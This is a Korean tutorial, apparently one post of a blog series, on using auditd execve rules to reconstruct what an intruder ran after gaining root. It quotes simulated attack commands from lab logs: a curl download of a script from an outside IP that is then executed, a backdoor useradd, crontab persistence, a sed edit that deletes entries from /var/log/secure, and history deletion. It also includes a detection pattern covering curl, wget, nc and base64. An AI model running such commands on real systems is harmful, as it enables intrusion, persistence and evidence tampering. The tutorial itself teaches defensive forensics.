Linux 로그 경로 정리 · 39/50 · Part 4. journald / rsyslog / auditd
선행 학습 → 38. audit.log 경로와 구조 · 서비스 · 프로세스 관리 시리즈
이번 글 → auditd로 execve 추적
이어서 → 40. auditd로 중요 파일 접근 추적
sudo /bin/bash 이후 공격자가 무엇을 했는지 secure 에는 남지 않습니다. 셸 히스토리는 history -c 나 rm ~/.bash_history 로 쉽게 지워집니다. execve 감사 규칙은 커널 수준에서 모든 프로그램 실행을 기록해 이 공백을 메웁니다.
핵심 요약
- 규칙:
-a always,exit -F arch=b64 -S execve -F auid>=1000 -F auid!=unset -k exec_log(+ b32)- 핵심 분석 필드: auid(누가) · uid/euid(어떤 권한) · exe + EXECVE 인자(무엇을) · pid/ppid(어떤 흐름)
- 모든 실행을 기록하면 로그가 폭증한다 → 로그인 사용자 실행으로 범위를 좁힌다.
| 규칙 요소 | 의미 |
|---|---|
-a always,exit | 시스템 콜 종료 시 항상 기록 |
-F arch=b64 / b32 | 64비트/32비트 호출 각각 필요 (32비트 우회 방지) |
-S execve | 프로그램 실행 시스템 콜 (execveat 도 고려) |
-F auid>=1000 | 일반 로그인 사용자(배포판 UID_MIN 기준) |
-F auid!=unset (4294967295) | 데몬·cron 등 로그인하지 않은 프로세스 제외 |
-F euid=0 | root 권한 실행만 (선택: 권한 상승 후 행위) |
-k exec_log | 검색 키 |

sshd(4101) ── bash(4120, deploy) ── sudo(4150) ── bash(4151, root, auid=1001)
├─ curl (4188) → EXECVE a0=curl ... -o /tmp/.x.sh
├─ bash (4190) → EXECVE bash /tmp/.x.sh
│ └─ cp (4193, ppid=4190) → /usr/local/bin/.syscheck
├─ useradd (4210)
├─ crontab (4231)
├─ sed (4502) → /var/log/secure 변조
└─ rm (4510) → .bash_history 삭제
모두 auid=1001(deploy), ses=12 — ppid 로 트리를 재구성
/etc/audit/rules.d/50-exec.rules 규칙 파일 (영구)
/var/log/audit/audit.log 기록
# 규칙 파일 작성 (변경관리 승인 후) — 설정 파일이며 로그 파일이 아님
cat <<'EOF' | sudo tee /etc/audit/rules.d/50-exec.rules
-a always,exit -F arch=b64 -S execve -F auid>=1000 -F auid!=unset -k exec_log
-a always,exit -F arch=b32 -S execve -F auid>=1000 -F auid!=unset -k exec_log
EOF
sudo augenrules --load && sudo auditctl -l | grep exec_log
# 실행 기록 조회
ausearch -k exec_log -ts today -i | grep -E '^type=(EXECVE|SYSCALL)'
# 특정 세션(ses)의 전체 실행 목록 — 명령줄만 간단히
ausearch -k exec_log --session 12 -i | grep '^type=EXECVE' | sed -E 's/.*argc=[0-9]+ //; s/(^| )a[0-9]+=/\1/g'
# 부모-자식 추적: ppid 로 상위 프로세스 찾기
ausearch -k exec_log -i | grep -E '^type=SYSCALL' | grep -oE 'ppid=[0-9]+ pid=[0-9]+ auid=[^ ]+ uid=[^ ]+ .*comm=[^ ]+'
# 실행 파일별 요약
aureport -x --summary -i -ts today

위 이미지는 Rocky Linux 9.8 실습 환경의 실제 실행 결과입니다.
아래는 실습 시나리오 감사 로그(가상 데이터) 에서 EXECVE 인자만 추출한 실제 실행 결과입니다(48편 ioc.sh 의 일부).
[실제 실행 결과 · 입력: 실습용 가상 audit.log]
== [4] 실행 명령 (auditd EXECVE, key별) ==
/usr/local/bin/.syscheck
bash /tmp/.x.sh
cp /tmp/.x/syscheck /usr/local/bin/.syscheck
crontab /tmp/.x/cron.txt
curl -s http://198.51.100.23/x.sh -o /tmp/.x.sh
rm -f /root/.bash_history
sed -i /203.0.113.45/d /var/log/secure
sudo /bin/bash
useradd -m sysbackup
| 필드 | curl 이벤트 값 | 분석 |
|---|---|---|
auid | deploy (1001) | 탈취된 계정으로 로그인한 사람 |
uid / euid | root | sudo로 얻은 권한 |
exe | /usr/bin/curl | 정상 바이너리 — 인자가 핵심 |
| EXECVE 인자 | http://198.51.100.23/x.sh -o /tmp/.x.sh | 외부 스크립트 다운로드, 숨김 파일 |
pid / ppid | 4188 / 4151 | root 셸(4151)의 자식 |
syscall | execve (59) | 실행 |
tty | pts1 | 대화형 원격 세션 |
| 정상 | 의심 |
|---|---|
관리 명령 (systemctl, vi /etc/...) | `curl |
| 알려진 경로 실행 | /tmp, /dev/shm, 숨김 경로 실행 |
| 인자가 평범 | base64 인코딩 인자(`echo ... |
| 셸 히스토리와 일치 | 히스토리 삭제 명령(rm .bash_history, history -c 는 셸 내장이라 execve 없음) |
노이즈 관리: 모든 사용자 실행을 기록하면 CI/배포 계정이 대량 로그를 만듭니다. -F auid!=<배포계정UID> 제외, 또는 -F euid=0 로 root 실행만 기록하는 선택지를 검토합니다. 제외 대상은 문서화합니다.
audit.key=exec_log + audit.execve.a0 가 curl|wget|nc|base64 인 경우 등 커스텀 룰(47편).auid → 인증 로그의 출발지 IP.ses 로 세션 전체 명령을 순서대로 재구성 → 타임라인(49편).[ ] execve 규칙(b64+b32, auid 필터, key) 작성
[ ] augenrules --load 로 적용, auditctl -l 확인
[ ] ausearch -k exec_log 로 실행 목록 조회
[ ] ses / ppid 로 세션·트리 재구성
[ ] 의심 실행 패턴 5가지 구분
[ ] 노이즈 제외 정책 문서화
| 구분 | 글 |
|---|---|
| ◀ 이전 글 | 38. audit.log 경로와 구조 |
| ▶ 다음 글 | 40. auditd로 중요 파일 접근 추적 |
| 시리즈 | Linux 로그 경로 정리 전체 보기 |
| 선행 시리즈 | 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 · Linux 시스템 보안 기초 |